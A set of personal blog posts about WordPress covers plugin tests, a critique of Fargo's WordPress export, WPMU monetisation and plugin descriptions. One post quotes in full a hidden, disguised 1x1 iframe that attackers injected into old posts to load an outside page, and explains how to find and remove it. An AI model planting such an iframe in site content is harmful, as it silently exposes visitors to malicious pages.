Testing #ActivityPub plugin for #WordPress

This is a test post from my blog at http://haibane.info of the plugin for . If you see this, please follow – and follow me at @azizhp

also testing media. Here’s a view of the skyline from the #290.

Chicago from the 290

And I am setting a different photo of a blurry Chicago skyline from my on for the Featured Image, to see which one shows up in .

UPDATE: It worked!

follow this blog from anywhere in teh Fediverse as @otakun@Haibane.info (note – this link will not work. it’s a rel=me link so the blog is verified on Mastodon)

Using Fargo for publishing to WordPress: a great start, some rough edges

I decided to use Fargo.io to write the previous post, since it was a long and complex piece with a lot of hierarchical structure. Lots of lists, etc. Let me preface by saying this is wonderful functionality and I am very excited about it, not least because it provides inherent backup of blog posts to dropbox.

That said, there are various issues that need refining. Here are some of my observations:

Fargo only selects the current heading and subheadings for the post. It will use the current heading as title and subheadings as the post content. This is not optimal; by default, Fargo should use the title of the entire outline as the post title and the entire outline body as the post body. I had to create a redundant heading and demote the entire rest of the outline underneath it to get it to work properly.

Headings and subheadings correctly use LI tags, but they force the CSS attribute “list-style-type” to “none”. In a blog post, you want the natural LI icons to appear and not be suppressed.

When exporting from Fargo to WordPress, adding paragraph tags is redundant, as WordPress renders the post content with them automatically. P tags should be stripped out when publishing to WP.

Likewise, there is no need for any additional class names (liConcord, pConcord, liLevel3, etc). All style is handled by WordPress themes and this CSS clutters the post content. We should not have any default styles added by the composer – clean HTML only, no CSS.

Numbered lists are not recognized by Fargo – I used a 1. 2. prefix but this does not create OL list type at the HTML end. Auto-detection of numbered lists is a must-have feature.

Entering new headings above the current one should be possible by placing the cursor at the start of a heading and pressing Enter. Currently, this opens a new heading below, not above.

Images are not supported. In fact if you add an image via the wordpress interface and then later edit the post again with Fargo, you will lose your images (it will overwrite the edits.)

Finally, it is not possible to copy and paste multiple headings and subheading content from the outliner. You can only select one heading at a time. There should be a plaintext export feature at the very least (with whitespace tabs for the indentation levels).

I don’t want to discourage Dave and the fine folks at Small Picture or seem overly picky. These are however important issues that affect a wordpress blogger’s workflow – I loved composing the post in Fargo but now I will have to re-edit the post after I publish to add images, strip out the CSS, etc. Due to that drawback, there isn’t a net value-add to using Fargo for WP blogging, yet. But there is so much potential here that I am very hopeful.

UPDATE: Dave responded to this post on Twitter:

I am uncertain if Dave understood my critique – I was not asking for changes to Fargo’s user interface, but rather the formatting that is generated when exporting from Fargo to wordpress. I am happy to embrace the Outliner Way when composing, but Fargo imposes metadata on WordPress above and beyond outline structure. That metadata is not central to the user experience of Fargo si Iam baffled by Dave’s insistence that there’s no reason for change.

At any rate, I will certainly keep using Fargo for other purposes, but if the wordpress functionality is frozen at the current state then I cannot recommend Fargo as a WordPress authoring tool. I am still optimistic for Dave’s promise of Evernote support.

annoying html injection in wordpress

two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

Tags to Hashtags #wp

I’ve written a new plugin for wordpress entitled “AHP Tags to Hashtags” for use with WordPress and WordPress MU. The plugin can be found for now at pastebin here, I will update when it’s been added to the official wordpress plugin repository.

The plugin appends the tags for each post to the post title in the RSS feed. For example, for a post titled “Awesome post” which is tagged with “Amazing, Awesome, Super awesome”, the RSS feed will show the post titles as “Awesome post #Amazing #Awesome #Superawesome”. Note that spaces in a tag are removed, and hash symbols (#) are prepended to each.

This plugin is useful primarily to bloggers who pipe their posts into Twitter. The post tags become Twitter hashtags. Since post tags and twitter hashtags are both a form of metadata, it is natural to simply and automatically reuse the one for the other.

Consider a blog post on the Iran election. Normally youd tag the post Iran and then when you tweet it, youd have to manually insert the twitter hashtag #iranelection. Now, you can simply tag the post iranelection (no # symbol) and it will automatically be hashtagged. Combined with a service like Twitterfeed, this plugin can greatly automate the process of piping relevant posts into the twitterverse.

Note that the plugin makes no attempt to check that the total length of the post title, including hashtags, falls within the 140-character limit imposed by Twitter.

At present the plugin has no options. The feature roadmap includes the following:
– add title character length checking
– toggle using tags or categories for conversion to hashtags
– let user decide whether to remove spaces in tags, or convert to underlines or other character

this is a pretty simple plugin so other feature requests are appreciated.

UPDATE: version 2.0 of the plugin is at pastebin here. This version no longer appends all tags, but only those already beginning with #. This way the blogger can selectively choose which tags they want converted into hashtags.

monetizing WPMU

There’s a great conversation at WPMU.org about how to make money using WordPress MU – James starts by noting that advertising doesn’t cover the hosting costs for a massively successful site, and goes into the various other ways in which they derive revenue, including selling extra features to paid users and selling custom plugins (that are not released under the GPL). In response, Jason acknowledges that WPMU is inherently costly to run and agrees that there must be a revenue tsream, and then goes on to argue that WPMU is really a service, not a product. Therefore to make money with WPMU, he reasons, you must provide a value-added service relative to the big free hosts like wordpress.com – such as custom themes. James replies with a lengthy argument defending the decision not to release plugins under the GPL.

I don’t have much to add aside from noting that since themes have long been released without GPL, there’s no reason that plugins should be any different, especially with themes like Thesis which are “frameworks” that really blur the line between a theme and a plugin. The same can be argued for Prologue, which I use as the front end to my WPMU install at Talk Islam. The “core functions” of WP are never used in themes or plugins, so I don’t think that argument applies (think about it – why would you want to duplicate core WP functionality? why would you even need to?)

Of course, part of the problem for monetization is that you are a victim of your own succcess. James’ monthly costs for the Edublogs network are assuredly far greater than mine for Talk Islam – I can only aspire to a fraction of his success (especially since I am not running Talk Islam as a business. not yet anyway). As such Talk Islam has only a handful of user blogs – most of the activity is on the front page (where the Prologue theme gives it a dynamic, Twitter-esque feel). My goal for Talk Islam is to incorporate the Buddypress functions and ultimately create a framework for a “community platform” that would be in a sense the successor to the Daily Kos style blog community, replicating many of the features but discarding things that are broken in my opinion (such as the way the recommended diaries list is dominated by a clique of the same voices and the same topics, with very rare original and fresh perspectives). It should be noted that Shai Sachs, a very talented Drupal hacker, is working on a drupal-based blog infrastructure project for the progressive political blogsphere, but I personally believe that wordpress MU is a better platform. With Talk Islam as a prototype, we can envision a package that already includes the buddypress integration and standard theme for frontpage and user blogs that an aspiring admin could simply download and have ready to go out of the box.

The real question for monetization is the scale. How many WPMU installs are on the scale of Edublogs? Very few, I wager – but there are probably thousands like mine where the entire install can be run off a standard Dreamhost account. At that scale, Adsense ads can indeed cover hosting costs and even a modest profit on the side – not enough to pay rent, but maybe enough for cable television. Or a Starbucks addiction.

I think therefore a model for monetization presents itself. Instead of trying to monetize a single WPMU install, you monetize a packaged installation that you distribute. That installation can have Adsense code sharing so that half the revenue from ads goes to the package developer (or all if the installer doesn’t have an adsense account, there would be a box for them to paste their adsense publisher ID if they have one). For any given WPMU install the revenue will be quite modest, probably on the order of a few dollars a month. But suppose that the package was installed a hundred times? a thousand? Especially since it isn’t you who are paying the hosting fees, its the person installing the package.

Of course this means we have only punted the monetization issue downstream. But for a small WPMU site operator, recouping hosting costs is a lot easier than for a big operation like Edublogs. Users can be asked for donations, charged fees for extra features, etc just as James and Jason described in their posts. These revenue sources will be much more lucrative at the smaller scale.

As a business model, none of the above really helps James out, unfortunately 🙂 But then again, what if individual schools ran their own WPMU microsites using Edublogs software? (actually, they do.) In a sense the strategy above can be leveraged regardless of your size. All things considered, I’d rather be in James’ position of being too big 🙂

AHP Sitewide Recent Posts plugin for WordPress MU

UPDATE: Due to seeming failure of compatibility with the latest versions of WPMU, WPMU Dev has replaced my plugin at their site with their own Recent Posts plugin, which requires their Post Indexer. There’s only an old version at WPMU.org of my plugin now. I am going to rewrite this plugin shortly.

Related: search on AHP at premium WPMU

Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are:

  • excludes posts on main blog (blog ID = 1)
  • excludes first posts (Hello, world) on user blogs (post ID = 1)
  • option to show gravatar support (24px). Gravatar links to posts by user on their blog.
  • option to show post excerpt. User can specify excerpt length with extra argument. Option to capitalize 1st five words of excerpt for readability.
  • option to show post author name
  • option to show post date
  • option to show post comment count
  • all dispay options can be selectively toggled on or off using a single bitmask parameter, permitting very flexible and customizable usage (256 possible configurations!)
  • numerous other display and formatting options can be easily edited in source code using global vars

The argument list:

  • $how_many: how many recent posts are being displayed
  • $how_long: time frame to choose recent posts from (in days)
  • $optmask: bitmask for various display options (default: 255)
    • 1; // gravatar
    • 2; // date
    • 4; // author name
    • 8; // comment count
    • 16; // blog name
    • 32; // post name
    • 64; // post excerpt
    • 128; // excerpt capitalization
  • $exc_size: size of excerpt in words (default: 30)
  • $begin_wrap: start html code (default: <li class=”ahp_recent-posts”>)
  • $end_wrap: end html code to adapt to different themes (default: </li>)

To use the bitmask option, simply add the numeric codes for the display options you want together. For example, suppose you only want gravatar, post name, and date – then the bitmask would be 1+2+32 = 35. Using a bitmask in this way, you can turn on or off any combination of display options above, using only a single function argument.

The latest version of this plugin is at WPMUDEV with a more complete description, installation instructions, screenshot, and sample function call. You can see also see the plugin in action at Talk Islam, under the sidebar section titled “Recent Journals”.

(see update)

screenshot of AHP Recent Posts plugin for WPMU
screenshot of AHP Recent Posts plugin for WPMU

RSS-based comment moderation?

I just left the following ticket on WordPress Trac, as a feature request:

RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard.

For added functionality, each item in the RSS feed could have unique URL hash address links for approve, reject, and spam, so that moderating directly from the RSS feed could be possible from within the feedreading application. the RSS feed would need to be password protected or made visible to any user level that the admin desires to set.

(Trac Ticket #7452)

plugin wanted: Author Tags

Had another idea for a useful plugin – what is needed is a plugin that creates a tag cloud/tag list on a per author basis. This would be especially useful for group blogging sites (like Talk Islam). The plugin would ideally allow a simple function call with arguments:

– user name (login)
– number of tags (defaults to 5)
– list or cloud format (defaults to list)
– list delimiter (defaults to ” | “)

On a bio page or About page, this would be very cool because it would let you see at a glance what topics each author blogs about most.